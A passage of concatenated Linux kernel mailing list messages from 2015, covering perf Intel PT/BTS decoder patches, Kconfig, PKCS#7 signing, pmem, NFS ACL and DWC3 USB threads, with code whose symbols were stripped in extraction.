milliseconds - us microseconds - ns nanoseconds (default) - - Also the call chain size (default 16, max. 1024) for instructions or - transactions events can be specified. +include::itrace.txt[] SEE ALSO diff --git a/tools/perf/Documentation/perf-report.txt b/tools/perf/Documentation/perf-report.txt index c33b69f..6c44928 100644 --- a/tools/perf/Documentation/perf-report.txt +++ b/tools/perf/Documentation/perf-report.txt @@ -328,28 +328,7 @@ OPTIONS --itrace:: Options for decoding instruction tracing data. The options are: - i synthesize instructions events - b synthesize branches events - c synthesize branches events (calls only) - r synthesize branches events (returns only) - x synthesize transactions events - e synthesize error events - d create a debug log - g synthesize a call chain (use with i or x) - - The default is all events i.e. the same as --itrace=ibxe - - In addition, the period (default 10) for instructions events - can be specified in units of: - - i instructions - t ticks - ms milliseconds - us microseconds - ns nanoseconds (default) - - Also the call chain size (default 16, max. 1024) for instructions or - transactions events can be specified. +include::itrace.txt[] To disable decoding entirely, use --no-itrace. diff --git a/tools/perf/Documentation/perf-script.txt b/tools/perf/Documentation/perf-script.txt index c82df57..ac9e99a 100644 --- a/tools/perf/Documentation/perf-script.txt +++ b/tools/perf/Documentation/perf-script.txt @@ -231,28 +231,7 @@ OPTIONS --itrace:: Options for decoding instruction tracing data. The options are: - i synthesize instructions events - b synthesize branches events - c synthesize branches events (calls only) - r synthesize branches events (returns only) - x
[PATCH V6 13/17] perf tools: Output sample flags and insn_len from intel_bts
intel_bts synthesizes samples. Fill in the new flags and insn_len
members with instruction information.
Signed-off-by: Adrian Hunter adrian.hun...@intel.com
---
tools/perf/util/intel-bts.c | 126 ++--
1 file changed, 122 insertions(+), 4 deletions(-)
diff --git a/tools/perf/util/intel-bts.c b/tools/perf/util/intel-bts.c
index 48bcbd6..b068860 100644
--- a/tools/perf/util/intel-bts.c
+++ b/tools/perf/util/intel-bts.c
@@ -30,6 +30,7 @@
#include debug.h
#include tsc.h
#include auxtrace.h
+#include intel-pt-decoder/intel-pt-insn-decoder.h
#include intel-bts.h
#define MAX_TIMESTAMP (~0ULL)
@@ -58,6 +59,7 @@ struct intel_bts {
boolcap_user_time_zero;
struct itrace_synth_optssynth_opts;
boolsample_branches;
+ u32 branches_filter;
u64 branches_sample_type;
u64 branches_id;
size_t branches_event_size;
@@ -74,6 +76,8 @@ struct intel_bts_queue {
pid_t tid;
int cpu;
u64 time;
+ struct intel_pt_insnintel_pt_insn;
+ u32 sample_flags;
};
struct branch {
@@ -281,6 +285,8 @@ static int intel_bts_synth_branch_sample(struct
intel_bts_queue *btsq,
sample.stream_id = btsq-bts-branches_id;
sample.period = 1;
sample.cpu = btsq-cpu;
+ sample.flags = btsq-sample_flags;
+ sample.insn_len = btsq-intel_pt_insn.length;
if (bts-synth_opts.inject) {
event.sample.header.size = bts-branches_event_size;
@@ -300,11 +306,115 @@ static int intel_bts_synth_branch_sample(struct
intel_bts_queue *btsq,
return ret;
}
+static int intel_bts_get_next_insn(struct intel_bts_queue *btsq, u64 ip)
+{
+ struct machine *machine = btsq-bts-machine;
+ struct thread *thread;
+ struct addr_location al;
+ unsigned char buf[1024];
+ size_t bufsz;
+ ssize_t len;
+ int x86_64;
+ uint8_t cpumode;
+
+ bufsz = intel_pt_insn_max_size();
+
+ if (machine__kernel_ip(machine, ip))
+ cpumode = PERF_RECORD_MISC_KERNEL;
+ else
+ cpumode = PERF_RECORD_MISC_USER;
+
+ thread = machine__find_thread(machine, -1, btsq-tid);
+ if (!thread)
+ return -1;
+
+ thread__find_addr_map(thread, cpumode, MAP__FUNCTION, ip, al);
+ if (!al.map || !al.map-dso)
+ return -1;
+
+ len = dso__data_read_addr(al.map-dso, al.map, machine, ip, buf, bufsz);
+ if (len = 0)
+ return -1;
+
+ /* Load maps to ensure dso-is_64_bit has been updated */
+ map__load(al.map, machine-symbol_filter);
+
+ x86_64 = al.map-dso-is_64_bit;
+
+ if (intel_pt_get_insn(buf, len, x86_64, btsq-intel_pt_insn))
+ return -1;
+
+ return 0;
+}
+
+static int intel_bts_synth_error(struct intel_bts *bts, int cpu, pid_t pid,
+pid_t tid, u64 ip)
+{
+ union perf_event event;
+ int err;
+
+ auxtrace_synth_error(event.auxtrace_error, PERF_AUXTRACE_ERROR_ITRACE,
+INTEL_BTS_ERR_NOINSN, cpu, pid, tid, ip,
+Failed to get instruction);
+
+ err = perf_session__deliver_synth_event(bts-session, event, NULL);
+ if (err)
+ pr_err(Intel BTS: failed to deliver error event, error %d\n,
+ err);
+
+ return err;
+}
+
+static int intel_bts_get_branch_type(struct intel_bts_queue *btsq,
+struct branch *branch)
+{
+ int err;
+
+ if (!branch-from) {
+ if (branch-to)
+ btsq-sample_flags = PERF_IP_FLAG_BRANCH |
+PERF_IP_FLAG_TRACE_BEGIN;
+ else
+ btsq-sample_flags = 0;
+ btsq-intel_pt_insn.length = 0;
+ } else if (!branch-to) {
+ btsq-sample_flags = PERF_IP_FLAG_BRANCH |
+PERF_IP_FLAG_TRACE_END;
+ btsq-intel_pt_insn.length = 0;
+ } else {
+ err = intel_bts_get_next_insn(btsq, branch-from);
+ if (err) {
+ btsq-sample_flags = 0;
+ btsq-intel_pt_insn.length = 0;
+ if (!btsq-bts-synth_opts.errors)
+ return 0;
+ err = intel_bts_synth_error(btsq-bts, btsq-cpu,
+ btsq-pid, btsq-tid,
+ branch-from);
+ return err;
+ }
+ btsq-sample_flags = intel_pt_insn_type(btsq-intel_pt_insn.op);
+
Re: [PATCHv3 1/4] phy: phy-core: Make GENERIC_PHY an invisible option
Tejun, Maxime, Sylwester, Kyungmin On Thursday 23 April 2015 04:34 AM, Arun Ramamurthy wrote: Most of the phy providers use select to enable GENERIC_PHY. Since select is only recommended when the config is not visible, GENERIC_PHY is changed an invisible option. To maintain consistency, all phy providers are changed to select GENERIC_PHY and all non-phy drivers use depends on when the phy framework is explicity required. USB_MUSB_OMAP2PLUS has a cyclic dependency, so it is left as select. Signed-off-by: Arun Ramamurthy arun.ramamur...@broadcom.com Need your ACK for this patch. Thanks Kishon --- drivers/ata/Kconfig | 1 - drivers/media/platform/exynos4-is/Kconfig | 2 +- drivers/phy/Kconfig | 4 ++-- drivers/usb/host/Kconfig | 4 ++-- drivers/video/fbdev/exynos/Kconfig| 2 +- 5 files changed, 6 insertions(+), 7 deletions(-) diff --git a/drivers/ata/Kconfig b/drivers/ata/Kconfig index 5f60155..6d2e881 100644 --- a/drivers/ata/Kconfig +++ b/drivers/ata/Kconfig @@ -301,7 +301,6 @@ config SATA_MV tristate Marvell SATA support depends on PCI || ARCH_DOVE || ARCH_MV78XX0 || \ ARCH_MVEBU || ARCH_ORION5X || COMPILE_TEST - select GENERIC_PHY help This option enables support for the Marvell Serial ATA family. Currently supports 88SX[56]0[48][01] PCI(-X) chips, diff --git a/drivers/media/platform/exynos4-is/Kconfig b/drivers/media/platform/exynos4-is/Kconfig index b7b2e47..b6f3eaa 100644 --- a/drivers/media/platform/exynos4-is/Kconfig +++ b/drivers/media/platform/exynos4-is/Kconfig @@ -31,7 +31,7 @@ config VIDEO_S5P_FIMC config VIDEO_S5P_MIPI_CSIS tristate S5P/EXYNOS MIPI-CSI2 receiver (MIPI-CSIS) driver depends on REGULATOR - select GENERIC_PHY + depends on GENERIC_PHY help This is a V4L2 driver for Samsung S5P and EXYNOS4 SoC MIPI-CSI2 receiver (MIPI-CSIS) devices. diff --git a/drivers/phy/Kconfig b/drivers/phy/Kconfig index 2962de2..edecdb1 100644 --- a/drivers/phy/Kconfig +++ b/drivers/phy/Kconfig @@ -5,7 +5,7 @@ menu PHY Subsystem config GENERIC_PHY - bool PHY Core + bool help Generic PHY support. @@ -72,7 +72,7 @@ config PHY_MIPHY365X config PHY_RCAR_GEN2 tristate Renesas R-Car generation 2 USB PHY driver depends on ARCH_SHMOBILE - depends on GENERIC_PHY + select GENERIC_PHY help Support for USB PHY found on Renesas R-Car generation 2 SoCs. diff --git a/drivers/usb/host/Kconfig b/drivers/usb/host/Kconfig index 5ad60e4..e2197e2 100644 --- a/drivers/usb/host/Kconfig +++ b/drivers/usb/host/Kconfig @@ -182,7 +182,7 @@ config USB_EHCI_HCD_SPEAR config USB_EHCI_HCD_STI tristate Support for ST STiHxxx on-chip EHCI USB controller depends on ARCH_STI OF - select GENERIC_PHY + depends on GENERIC_PHY select USB_EHCI_HCD_PLATFORM help Enable support for the on-chip EHCI controller found on @@ -409,7 +409,7 @@ config USB_OHCI_HCD_SPEAR config USB_OHCI_HCD_STI tristate Support for ST STiHxxx on-chip OHCI USB controller depends on ARCH_STI OF - select GENERIC_PHY + depends on GENERIC_PHY select USB_OHCI_HCD_PLATFORM help Enable support for the on-chip OHCI controller found on diff --git a/drivers/video/fbdev/exynos/Kconfig b/drivers/video/fbdev/exynos/Kconfig index 1f16b46..6c53894 100644 --- a/drivers/video/fbdev/exynos/Kconfig +++ b/drivers/video/fbdev/exynos/Kconfig @@ -16,7 +16,7 @@ if EXYNOS_VIDEO config EXYNOS_MIPI_DSI bool EXYNOS MIPI DSI driver support. - select GENERIC_PHY + depends on GENERIC_PHY help This enables support for MIPI-DSI device. -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 16/20] PKCS#7: Add an optional authenticated attribute to hold firmware name [ver #5]
Andy Lutomirski l...@kernel.org wrote: This is insecure because PKCS#7 authenticated attributes are broken (see RFC2315 section 9.4 note 4). You need to either require that everything have authenticated attributes or require that nothing have authenticated attributes. Maybe this insecurity doesn't matter in practice, but I don't wouldn't want to bet on it. You can also fudge the signature (or a hash) by adding extra data to or modifying the data blob and by switching signature values between signature blobs. PKCS#7 authenticated attributes aren't as broken as you make out. They are added to the signature hash - so an attacker *would* have to fudge things to make it work. Further, we can easily make it so that auth attrs are *required*. On top of that, this is a ton of code to support something trivial. I don't think it's as bad as you're making it out to be. And it requires an OID to be registered (ick). That shouldn't be too hard to achieve - at least if we don't mind having RH space OIDs. Earlier you suggested just appending the signature purpose to the thing being signed. What's wrong with that? You can't tell the difference between a corrupted key/signature and a firmware blob being loaded for the wrong request. Firstly, I want to be able to detect the difference and secondly, it makes it easier to debug it if something does go wrong. P.S. Or you could stop using PKCS#7 if possible. We've discussed this before. We have to have a PKCS#7 parser in the kernel anyway if we're going to support signed PE files for kexec. David -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
Oh. Duh. Of course. Acked-by: Dan Carpenter dan.carpen...@oracle.com regards, dan carpenter -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: task kworker / kloopd blocked for more than 120 seconds
On Fri, May 29, 2015 at 8:15 PM, Christian Hesse l...@eworm.de wrote: Ming Lei tom.leim...@gmail.com on Thu, 2015/05/28 20:20: On Thu, May 28, 2015 at 5:37 PM, Christian Hesse l...@eworm.de wrote: Assembling the root filesystem stack always succeeds, but sometimes boot hangs with a lot of: Could you try the following two patches to see if they can fix your issue? http://git.kernel.org/cgit/linux/kernel/git/axboe/linux-block.git/commit/?h=for-nextid=f4aa4c7bbac6c4afdd4adccf90898c1a3685396d http://git.kernel.org/cgit/linux/kernel/git/axboe/linux-block.git/commit/?h=for-nextid=4d4e41aef9429872ea3b105e83426941f7185ab6 Sounds reasonable. System works perfectly stable and reliable since booted with a patched kernel. Thanks a lot for the hint! Looks like the changes did not make it into Linus' tree yet. So it will take some time for the patches to show up in a stable release, no? The patches will land 4.2, and then reach stable release because both two are marked as stable. -- Ming Lei -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 0/7] ARM CCI PMU updates for 4.2
On Friday 29 May 2015 10:29:07 Suzuki K. Poulose wrote: Hi arm-soc folk, On 26/05/15 10:53, Suzuki K. Poulose wrote: From: Suzuki K. Poulose suzuki.poul...@arm.com Here is the series which adds support for the CCI-500 PMU. Could you please apply this for 4.2 ? Please let me know if you need a pull request, I could ask Will to setup one. Gentle ping on this series for 4.2. I missed this at first because you're not on my mental list of people that normally send pull requests (i.e. platform maintainers). Feel free to reach out to me on IRC when you send more of this, so I don't easily skip over it. I've applied it to next/drivers now, thanks! Arnd -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [GIT PULL] qcom defconfig changes for 4.2
On Tuesday 26 May 2015 14:35:22 Kumar Gala wrote: Qualcomm ARM Based defconfig Updates for v4.2 * Enable cpuidle for QCOM SoCs in qcom multi_v7_defconfig Pulled into next/defconfig, thanks! Arnd -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 1/6] pmem: add force casts to avoid __iomem annotation
On Fri, May 29, 2015 at 4:39 AM, Ross Zwisler zwis...@gmail.com wrote: On Thu, 2015-05-28 at 15:47 -0700, Dan Williams wrote: On Thu, May 28, 2015 at 3:35 PM, Ross Zwisler ross.zwis...@linux.intel.com wrote: Even though we use ioremap_nocache() to map our persistent memory in the pmem driver, the memory we are mapping behaves like normal memory and not I/O memory in that it can be accessed using regular memcpy() operations and doesn't need to go through memcpy_toio() and memcpy_fromio(). Force casting the pointers received from ioremap_nocache() and given to iounmap() gives us the correct behavior and makes sparse happy. Signed-off-by: Ross Zwisler ross.zwis...@linux.intel.com Cc: Dan Williams dan.j.willi...@intel.com Cc: linux-nvd...@lists.01.org --- drivers/block/nd/pmem.c | 7 --- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/drivers/block/nd/pmem.c b/drivers/block/nd/pmem.c index 5e8c9c629f22..a8712e41e7f5 100644 --- a/drivers/block/nd/pmem.c +++ b/drivers/block/nd/pmem.c @@ -163,7 +163,8 @@ static struct pmem_device *pmem_alloc(struct device *dev, struct resource *res, * of the CPU caches in case of a crash. */ err = -ENOMEM; - pmem-virt_addr = ioremap_nocache(pmem-phys_addr, pmem -size); + pmem-virt_addr = (__force void *)ioremap_nocache(pmem -phys_addr, + pmem-size); I think I'd rather see casting when -virt_addr is used (the __io_virt() helper can be used to make this a tad cleaner), or provide ioremap apis that don't attach __iomem to their return value. Because in this and other cases ioremap() is being on non i/o memory. The reason that I thought this was cleaner was that now when you look at the pmem-virt_addr definition it is just a clean void* with no annotations. This correctly describes the memory to the user (it's usable as regular memory, it's in the kernel address space, etc.). Having the pointer itself annotated with __iomem feels weird to me because a random well meaning user could incorrectly try to use it as I/O memory. pmem-virt_addr does not leak outside the driver to random well meaning users. I think we have two options, provide physical address remap helpers from the outset (memremap()?) that don't attach __iomem, or put the casts on the non-iomem usages. -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [RFC v3 42/45] nfs: Add richacl support
On Thu, May 28, 2015 at 7:06 PM, Trond Myklebust trond.mykleb...@primarydata.com wrote: On Fri, Apr 24, 2015 at 7:04 AM, Andreas Gruenbacher andreas.gruenbac...@gmail.com wrote: Changes nfs to support the system.richacl xattr instead of system.nfs4_acl. NACK. You may declare a userspace syscall ABI that is more than 10 years old to be deprecated, but you are not allowed to remove it. So having revisited the reasons why I chose the system.nfs4_acl interface when we did NFSv4 ACLs, I'm not sure we should implement system.richacl for the NFS client at all. The problem is that you are 100% reliant on an accurate idmapper in order to convert the name@domain to a _correct_ uid/gid. It isn't sufficient to convert to just any valid uid/gid, because if your ACL tool is trying to edit the ACL, you can end up converting all those DENY modes for user 'johnny_rot...@blackhats.are.us' into DENY modes for user 'nobody'. ...and yes, libnfsidmap will happily convert all unknown user/groupnames into whatever uid/gid corresponds to 'nobody' without returning an error. Your assertion that when symbolic user@domain and group@domain names are used in the acl, user-space needs to perform ID mapping in the same way as the kernel is WRONG. User space needs do no such thing, and that was the whole point of the interface; to allow the user to specify ACLs in a format that is checked only on the _server_, and not on the client. Trond -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: DWC3 linux driver query
Hi Felipe, On Thu, May 28, 2015 at 7:41 PM, Felipe Balbi ba...@ti.com wrote: Hi, On Thu, May 28, 2015 at 04:53:09PM +0530, sundeep subbaraya wrote: Hi Felipe and Paul, btw, Paul has left Synopys :-) ahh I see.. I am seeing an issue while testing iperf for USB ethernet gadget with dwc3 controller in 2.0 mode. After debugging I figured out that: 1. Network gadget queues say 3 requests. (for IN endpoint) 2. It turns out with req.no_interrupt flag, DWC3 driver issues START_TRANSFER with req0:IOC, req1, req2:LST 3. As per driver state machine, we get XFERNOTREADY then prepare these TRBs and issue start transfer. Make Endpoint state as Busy. 4. Endpoint state is set to free in XFERINPROGRESS or XFERCOMPLETE event. 5. The issue I see here is there are NAKs going to host (seen in analyzer) in between req0 and req2 hence XFERNOTREADY(Transfer Active) events in between XFERINPROGRESS and XFERCOMPLETE events. 6. As a result, EP is set as free in XFERINPROGRESS, since EP is free start transfer command is issued in XFERNOTREADY handler.The command fails since controller did not release the xfer resource yet. I feel controller behaviour is fine since it sends NAK and writes that event. Driver may have to be modified to make EP as free only in XFERCOMPLETE event handler (ofcourse not for Isoc). this sounds like the correct solution. Note I am testing on a platform which is very slow (the interface between DDR and core runs at 4Mhz). sweet :-) No it is not :) :). I struggled a lot while debugging :( Where as on Zynq (DWC3 in PL), a faster system compared to above one I hey, when will we see a glue layer for Zynq ? :-) we don't have hardware with 2.0 and 3.0 PHY together currently. I will write and test once the hardware is ready :) do not see any NAKs in between Start transfer command and XFERCOMPLETE event. What do you guys say? Do you agree linux driver has to be modified or Core should never issue NAKs in between Start transfer and XFERCOMPLETE? well, if we queued enough transfers, it shouldn't NAK. OTOH, we shouldn't allow for a new StartTransfer command until all pending requests have been transferred. Yes correct but the hardware design is very slow here so hitting this case A patch correcting DEPCMD status macros has been applied. Thank you Felipe for trace points in driver otherwise it would have taken very long time to figure out the root cause :) . yeah, those are really helpful :-) Below is the trace log:(enabled only for IN bulk endpoint) irq/97-dwc3-1308 [001] d... 553.713513: dwc3_msg: ep1in-bulk XFERNOTREADY.Transfer Not Active irq/97-dwc3-1308 [001] d... 553.713768: dwc3_msg: ep1in-bulk: req ffc039a68580 dma 011c60a2 length 1558 IOC irq/97-dwc3-1308 [001] d... 553.714266: dwc3_msg: ep1in-bulk: req ffc039a687c0 dma 011c10a2 length 1558 irq/97-dwc3-1308 [001] d... 553.714753: dwc3_msg: ep1in-bulk: req ffc039a68700 dma 011c18a2 length 1558 last IOC irq/97-dwc3-1308 [001] d... 553.717768: dwc3_msg: ep1in-bulk XFERNOTREADY.Transfer Active irq/97-dwc3-1308 [001] d... 553.718203: dwc3_msg: ep1in-bulk EP BUSY irq/97-dwc3-1308 [001] d... 553.718412: dwc3_msg: ep1in-bulk XFERNOTREADY.Transfer Active irq/97-dwc3-1308 [001] d... 553.718638: dwc3_msg: ep1in-bulk EP BUSY irq/97-dwc3-1308 [001] d... 553.718837: dwc3_msg: ep1in-bulk XFERNOTREADY.Transfer Active irq/97-dwc3-1308 [001] d... 553.719049: dwc3_msg: ep1in-bulk EP BUSY irq/97-dwc3-1308 [001] d... 553.719248: dwc3_msg: ep1in-bulk XFERINPROGRESS irq/97-dwc3-1308 [001] d... 553.719520: dwc3_msg: request ffc039a68580 from ep1in-bulk completed 1558/1558 === 0 irq/97-dwc3-1308 [001] d... 553.720225: dwc3_msg: ep1in-bulk XFERNOTREADY.Transfer Active irq/97-dwc3-1308 [001] d... 553.720612: dwc3_msg: ep1in-bulk XFERNOTREADY.Transfer Active irq/97-dwc3-1308 [001] d... 553.720826: dwc3_msg: ep1in-bulk EP BUSY irq/97-dwc3-1308 [001] d... 553.721026: dwc3_msg: ep1in-bulk XFERNOTREADY.Transfer Active irq/97-dwc3-1308 [001] d... 553.721243: dwc3_msg: ep1in-bulk EP BUSY irq/97-dwc3-1308 [001] d... 553.721446: dwc3_msg: ep1in-bulk XFERCOMPLETE irq/97-dwc3-1308 [001] d... 553.721711: dwc3_msg: request ffc039a687c0 from ep1in-bulk completed 1558/1558 === 0 irq/97-dwc3-1308 [001] d... 553.722411: dwc3_msg: request ffc039a68700 from ep1in-bulk completed 1558/1558 === 0 irq/97-dwc3-1308 [001] d... 553.722910: dwc3_msg: ep1in-bulk XFERNOTREADY.Transfer Not Active irq/97-dwc3-1308 [001] d... 553.723159: dwc3_msg: ep1in-bulk: req ffc039a68ac0 dma 398b18a2 length 1558 irq/97-dwc3-1308 [001] d... 553.723649: dwc3_msg: ep1in-bulk: req ffc039a68c40 dma 3a1ce8a2 length 1558 irq/97-dwc3-1308 [001] d... 553.724136: dwc3_msg: ep1in-bulk: req
[PATCH V6 04/17] perf tools: Add Intel PT packet decoder
Add support for decoding Intel Processor Trace packets.
This essentially provides intel_pt_get_packet() which
takes a buffer of binary data and returns the decoded
packet.
Signed-off-by: Adrian Hunter adrian.hun...@intel.com
---
tools/perf/util/Build | 1 +
tools/perf/util/intel-pt-decoder/Build | 1 +
.../util/intel-pt-decoder/intel-pt-pkt-decoder.c | 400 +
.../util/intel-pt-decoder/intel-pt-pkt-decoder.h | 64
4 files changed, 466 insertions(+)
create mode 100644 tools/perf/util/intel-pt-decoder/Build
create mode 100644 tools/perf/util/intel-pt-decoder/intel-pt-pkt-decoder.c
create mode 100644 tools/perf/util/intel-pt-decoder/intel-pt-pkt-decoder.h
diff --git a/tools/perf/util/Build b/tools/perf/util/Build
index e4b676d..86c81f6 100644
--- a/tools/perf/util/Build
+++ b/tools/perf/util/Build
@@ -75,6 +75,7 @@ libperf-$(CONFIG_X86) += tsc.o
libperf-y += cloexec.o
libperf-y += thread-stack.o
libperf-$(CONFIG_AUXTRACE) += auxtrace.o
+libperf-$(CONFIG_AUXTRACE) += intel-pt-decoder/
libperf-y += parse-branch-options.o
libperf-$(CONFIG_LIBELF) += symbol-elf.o
diff --git a/tools/perf/util/intel-pt-decoder/Build
b/tools/perf/util/intel-pt-decoder/Build
new file mode 100644
index 000..9d67381
--- /dev/null
+++ b/tools/perf/util/intel-pt-decoder/Build
@@ -0,0 +1 @@
+libperf-$(CONFIG_AUXTRACE) += intel-pt-pkt-decoder.o
diff --git a/tools/perf/util/intel-pt-decoder/intel-pt-pkt-decoder.c
b/tools/perf/util/intel-pt-decoder/intel-pt-pkt-decoder.c
new file mode 100644
index 000..988c82c
--- /dev/null
+++ b/tools/perf/util/intel-pt-decoder/intel-pt-pkt-decoder.c
@@ -0,0 +1,400 @@
+/*
+ * intel_pt_pkt_decoder.c: Intel Processor Trace support
+ * Copyright (c) 2013-2014, Intel Corporation.
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms and conditions of the GNU General Public License,
+ * version 2, as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+ * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
+ * more details.
+ *
+ */
+
+#include stdio.h
+#include string.h
+#include endian.h
+#include byteswap.h
+
+#include intel-pt-pkt-decoder.h
+
+#define BIT(n) (1 (n))
+
+#define BIT63 ((uint64_t)1 63)
+
+#if __BYTE_ORDER == __BIG_ENDIAN
+#define le16_to_cpu bswap_16
+#define le32_to_cpu bswap_32
+#define le64_to_cpu bswap_64
+#define memcpy_le64(d, s, n) do { \
+ memcpy((d), (s), (n));\
+ *(d) = le64_to_cpu(*(d)); \
+} while (0)
+#else
+#define le16_to_cpu
+#define le32_to_cpu
+#define le64_to_cpu
+#define memcpy_le64 memcpy
+#endif
+
+static const char * const packet_name[] = {
+ [INTEL_PT_BAD] = Bad Packet!,
+ [INTEL_PT_PAD] = PAD,
+ [INTEL_PT_TNT] = TNT,
+ [INTEL_PT_TIP_PGD] = TIP.PGD,
+ [INTEL_PT_TIP_PGE] = TIP.PGE,
+ [INTEL_PT_TSC] = TSC,
+ [INTEL_PT_MODE_EXEC]= MODE.Exec,
+ [INTEL_PT_MODE_TSX] = MODE.TSX,
+ [INTEL_PT_TIP] = TIP,
+ [INTEL_PT_FUP] = FUP,
+ [INTEL_PT_PSB] = PSB,
+ [INTEL_PT_PSBEND] = PSBEND,
+ [INTEL_PT_CBR] = CBR,
+ [INTEL_PT_PIP] = PIP,
+ [INTEL_PT_OVF] = OVF,
+};
+
+const char *intel_pt_pkt_name(enum intel_pt_pkt_type type)
+{
+ return packet_name[type];
+}
+
+static int intel_pt_get_long_tnt(const unsigned char *buf, size_t len,
+struct intel_pt_pkt *packet)
+{
+ uint64_t payload;
+ int count;
+
+ if (len 8)
+ return INTEL_PT_NEED_MORE_BYTES;
+
+ payload = le64_to_cpu(*(uint64_t *)buf);
+
+ for (count = 47; count; count--) {
+ if (payload BIT63)
+ break;
+ payload = 1;
+ }
+
+ packet-type = INTEL_PT_TNT;
+ packet-count = count;
+ packet-payload = payload 1;
+ return 8;
+}
+
+static int intel_pt_get_pip(const unsigned char *buf, size_t len,
+ struct intel_pt_pkt *packet)
+{
+ uint64_t payload = 0;
+
+ if (len 8)
+ return INTEL_PT_NEED_MORE_BYTES;
+
+ packet-type = INTEL_PT_PIP;
+ memcpy_le64(payload, buf + 2, 6);
+ packet-payload = payload 1;
+
+ return 8;
+}
+
+static int intel_pt_get_cbr(const unsigned char *buf, size_t len,
+ struct intel_pt_pkt *packet)
+{
+ if (len 4)
+ return INTEL_PT_NEED_MORE_BYTES;
+ packet-type = INTEL_PT_CBR;
+ packet-payload = buf[2];
+ return 4;
+}
+
+static int intel_pt_get_ovf(struct intel_pt_pkt *packet)
+{
+ packet-type = INTEL_PT_OVF;
+ return 2;
+}
+
+static int intel_pt_get_psb(const unsigned char
[PATCH V6 01/17] perf db-export: Fix thread ref-counting
Thread ref-counting was not done for get_main_thread() meaning
that there was a thread__get() from machine__find_thread()
that was not being paired with thread__put(). Fix that.
Signed-off-by: Adrian Hunter adrian.hun...@intel.com
---
tools/perf/util/db-export.c | 19 ++-
1 file changed, 10 insertions(+), 9 deletions(-)
diff --git a/tools/perf/util/db-export.c b/tools/perf/util/db-export.c
index eb7a2ac..1c9689e 100644
--- a/tools/perf/util/db-export.c
+++ b/tools/perf/util/db-export.c
@@ -234,7 +234,7 @@ int db_export__symbol(struct db_export *dbe, struct symbol
*sym,
static struct thread *get_main_thread(struct machine *machine, struct thread
*thread)
{
if (thread-pid_ == thread-tid)
- return thread;
+ return thread__get(thread);
if (thread-pid_ == -1)
return NULL;
@@ -308,19 +308,18 @@ int db_export__sample(struct db_export *dbe, union
perf_event *event,
if (err)
return err;
- /* FIXME: check refcounting for get_main_thread, that calls
machine__find_thread... */
main_thread = get_main_thread(al-machine, thread);
if (main_thread)
comm = machine__thread_exec_comm(al-machine, main_thread);
err = db_export__thread(dbe, thread, al-machine, comm);
if (err)
- return err;
+ goto out_put;
if (comm) {
err = db_export__comm(dbe, comm, main_thread);
if (err)
- return err;
+ goto out_put;
es.comm_db_id = comm-db_id;
}
@@ -328,7 +327,7 @@ int db_export__sample(struct db_export *dbe, union
perf_event *event,
err = db_ids_from_al(dbe, al, es.dso_db_id, es.sym_db_id, es.offset);
if (err)
- return err;
+ goto out_put;
if ((evsel-attr.sample_type PERF_SAMPLE_ADDR)
sample_addr_correlates_sym(evsel-attr)) {
@@ -338,20 +337,22 @@ int db_export__sample(struct db_export *dbe, union
perf_event *event,
err = db_ids_from_al(dbe, addr_al, es.addr_dso_db_id,
es.addr_sym_db_id, es.addr_offset);
if (err)
- return err;
+ goto out_put;
if (dbe-crp) {
err = thread_stack__process(thread, comm, sample, al,
addr_al, es.db_id,
dbe-crp);
if (err)
- return err;
+ goto out_put;
}
}
if (dbe-export_sample)
- return dbe-export_sample(dbe, es);
+ err = dbe-export_sample(dbe, es);
- return 0;
+out_put:
+ thread__put(main_thread);
+ return err;
}
static struct {
--
1.9.1
--
To unsubscribe from this list: send the line unsubscribe linux-kernel in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: linux-next: manual merge of the clk tree with the imx-mxs tree
Hello Stephen, Thank you very much for this fix. BR, Bintian On 2015/5/29 18:45, Stephen Rothwell wrote: Hi all, Today's linux-next merge of the clk tree got a conflict in drivers/clk/Makefile between commit 33156149fc4a (ARM: imx: move clock drivers into drivers/clk) from the imx-mxs tree and commit b1691707eccd (clk: hi6220: Clock driver support for Hisilicon hi6220 SoC) from the clk tree. I fixed it up (see below) and can carry the fix as necessary (no action is required). -- To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] perf annotate: fix -i option, which is currently ignored.
Em Fri, May 29, 2015 at 02:06:44PM +0200, Martin Liška escreveu:
Assign input_name, received from program arguments, to
file data structure.
Doesn't apply:
pat[acme@zoo linux]$ patch -p1 /wb/1.patch
patching file tools/perf/builtin-annotate.c
Hunk #1 FAILED at 289.
Hunk #2 FAILED at 346.
